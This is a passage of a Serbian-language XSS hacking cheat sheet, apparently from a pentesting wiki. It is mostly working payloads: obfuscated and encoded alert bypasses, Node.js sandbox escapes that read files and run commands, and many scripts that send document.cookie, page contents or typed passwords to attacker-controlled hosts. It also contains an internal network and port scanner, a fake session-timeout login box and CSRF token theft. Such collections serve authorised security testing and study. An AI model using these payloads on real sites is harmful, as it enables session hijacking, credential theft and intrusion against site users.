this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM ranjivosti
Postoji JS kod koji koristi nesigurne podatke koje kontroliše napadač kao što je location.href
. Napadač može iskoristiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenja o DOM ranjivostima, premešteno je na ovu stranicu:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.
Nadogradnja Self-XSS
Cookie XSS
Ako možete izazvati XSS slanjem payload-a unutar kolačića, ovo je obično self-XSS. Međutim, ako pronađete ranjivi poddomen za XSS, mogli biste iskoristiti ovaj XSS da injektujete kolačić u celu domenu, uspevajući da izazovete cookie XSS u glavnoj domeni ili drugim poddomenima (onim ranjivim na cookie XSS). Za ovo možete koristiti napad cookie tossing:
{% content-ref url="../hacking-with-cookies/cookie-tossing.md" %} cookie-tossing.md {% endcontent-ref %}
Možete pronaći sjajnu zloupotrebu ove tehnike u ovom blog postu.
Slanje vaše sesije administratoru
Možda korisnik može podeliti svoj profil sa administratorom i ako je self XSS unutar profila korisnika, a administrator mu pristupi, on će izazvati ranjivost.
Održivost sesije
Ako pronađete neki self XSS i web stranica ima održivost sesije za administratore, na primer, omogućavajući klijentima da traže pomoć, kako bi administrator mogao da vam pomogne, videće ono što vi vidite u svojoj sesiji, ali iz svoje sesije.
Možete naterati administratora da izazove vaš self XSS i ukrade njegove kolačiće/sesiju.
Ostali zaobilaženja
Normalizovani Unicode
Možete proveriti da li su reflektovane vrednosti unicode normalizovane na serveru (ili na klijentskoj strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. Pronađite primer ovde.
PHP FILTER_VALIDATE_EMAIL flag zaobilaženje
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Zbog RoR masovne dodeljivanja citati se ubacuju u HTML, a zatim se zaobilazi ograničenje citata i dodatna polja (onfocus) mogu biti dodata unutar taga.
Primer forme (iz ovog izveštaja), ako pošaljete payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Par "Ključ","Vrednost" će biti vraćen nazad ovako:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Zatim će biti umetnut atribut onfocus i dolazi do XSS-a.
Posebne kombinacije
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS sa injekcijom zaglavlja u 302 odgovoru
Ako otkrijete da možete injektovati zaglavlja u 302 Redirect odgovoru, možete pokušati da naterate pregledač da izvrši proizvoljni JavaScript. Ovo je nije trivijalno jer moderni pregledači ne interpretiraju telo HTTP odgovora ako je statusni kod HTTP odgovora 302, tako da je samo payload za cross-site scripting beskoristan.
U ovoj izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar Location zaglavlja i videti da li neki od njih omogućava pregledaču da ispita i izvrši XSS payload unutar tela.
Poznati protokoli: mailto://
, //x:1/
, ws://
, wss://
, prazno Location zaglavlje, resource://
.
Samo slova, brojevi i tačke
Ako ste u mogućnosti da naznačite callback koji će JavaScript izvršiti ograničeno na te karaktere. Pročitajte ovaj deo ovog posta da biste saznali kako da zloupotrebite ovo ponašanje.
Validni <script>
Content-Types za XSS
(Iz ovde) Ako pokušate da učitate skriptu sa content-type kao što je application/octet-stream
, Chrome će baciti sledeću grešku:
Odbijeno izvršavanje skripte sa ‘https://uploader.c.hc.lc/uploads/xxx' jer njen MIME tip (‘application/octet-stream’) nije izvršiv, a strogo proveravanje MIME tipa je omogućeno.
Jedini Content-Type koji će omogućiti Chrome-u da izvrši učitanu skriptu su oni unutar konstante kSupportedJavascriptTypes
sa https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(From here) Dakle, koji tipovi bi mogli biti označeni za učitavanje skripte?
<script type="???"></script>
- modul (podrazumevano, nema potrebe za objašnjenjem)
- webbundle: Web Bundles je funkcija koja vam omogućava da pakujete skup podataka (HTML, CSS, JS…) zajedno u
.wbn
datoteku.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Omogućava poboljšanje sintakse uvoza
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Ovo ponašanje je korišćeno u ovoj analizi da se preusmeri biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.
- speculationrules: Ova funkcija je uglavnom namenjena rešavanju nekih problema uzrokovanih pre-renderovanjem. Radi ovako:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Web Content-Types to XSS
(From here) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nije na listi, ali mislim da sam ovo video u CTF-u)
- application/rss+xml (isključeno)
- application/atom+xml (isključeno)
U drugim pregledačima mogu se koristiti drugi Content-Types
za izvršavanje proizvoljnog JS, proverite: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Ako stranica vraća text/xml tip sadržaja, moguće je naznačiti prostor imena i izvršiti proizvoljni JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Posebni obrasci zamene
Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>)
. Napadač može koristiti posebne zamene stringova da pokuša da zaobiđe neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Na primer, u ovoj analizi, ovo je korišćeno da se izbegne JSON string unutar skripte i izvrši proizvoljan kod.
Chrome Cache to XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS Jails Escape
Ako imate samo ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je sve neodređeno pre izvršavanja nepouzdanog koda (kao u ovoj analizi), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebila izvršavanje proizvoljnog nepouzdanog koda:
- Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Pristupanje
require
indirektno
Prema ovome moduli su obavijeni od strane Node.js unutar funkcije, ovako:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Stoga, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1]
iz te funkcije da pristupimo require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
{% endcode %}
Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce greškama da pristupite omotaču modula i dobijete require
funkciju:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Obfuscation & Advanced Bypass
- Različite obfuscacije na jednoj stranici: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Više sofisticirani JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS uobičajeni payloadi
Nekoliko payloada u 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Iframe zamka
Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i ukradite njegove akcije (uključujući informacije poslate u formama):
{% content-ref url="../iframe-traps.md" %} iframe-traps.md {% endcontent-ref %}
Preuzmi kolačiće
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Nećete moći da pristupite kolačićima iz JavaScript-a ako je HTTPOnly oznaka postavljena u kolačiću. Ali ovde imate neke načine da zaobiđete ovu zaštitu ako imate sreće. {% endhint %}
Ukradi sadržaj stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Pronađi interne IP adrese
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Short times indicate a responding port Longer times indicate no response.
Pregledajte listu portova koji su zabranjeni u Chrome-u ovde i u Firefox-u ovde.
Kutija za traženje kredencijala
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Hvatanje lozinki za automatsko popunjavanje
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kada se bilo koji podaci unesu u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent odabere sačuvanu lozinku i ne unese ništa, akreditivi će biti ex-filtrirani.
Keylogger
Samo pretražujući na github-u, pronašao sam nekoliko različitih:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Takođe možete koristiti metasploit
http_javascript_keylogger
Krađa CSRF tokena
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
